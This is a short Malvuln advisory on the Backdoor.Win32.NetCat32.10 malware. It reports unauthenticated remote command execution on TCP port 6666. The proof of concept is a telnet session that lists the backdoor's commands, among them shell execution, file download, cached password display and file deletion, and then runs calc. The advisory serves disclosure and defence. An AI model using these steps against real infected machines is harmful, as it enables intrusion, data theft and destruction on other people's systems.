Backdoor.Win32.NetCat32.10 Remote Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/dcf16aed5ad4e0058a6cfcc7593dd9e3.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.NetCat32.10   
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 6666. Attackers who can reach infected systems can run commands made available by the backdoor using TELNET.   
Family: NetCat32  
Type: PE32  
MD5: dcf16aed5ad4e0058a6cfcc7593dd9e3  
Vuln ID: MVID-2022-0550  
Disclosure: 04/14/2022  
  
Exploit/PoC:  
telnet.exe x.x.x.x 6666  
HELO   
HHEELLPP   
========================================================   
HELP This help EXIT Quit your session   
VER Get Versions   
ExitWin Shutdown Windows   
CLIP View Clipboard PASS Display Cached Pass   
DOWNLOAD Host download file GET Get file from host   
EXEC ShellExecute EXECHIDE ShellExecute   
SHOW Show Window HIDE Hide Window   
MAXALL Max all Windows MINALL Min all Windows   
RESTALL Restore Windows LISTWIN List Windows   
DESK Set Desktop Color WALL Set Wallpaper   
MKDIR Make Directory RMDIR Remove Directory   
RM Delete File MOVE Move / Rename File   
LS List Directory TELNET Connect another   
FUNCAP Rock the CapLock CDROM Open/Close cdrom   
========================================================   
+OK   
EEXXEECC ccaallcc   
+OK  
  
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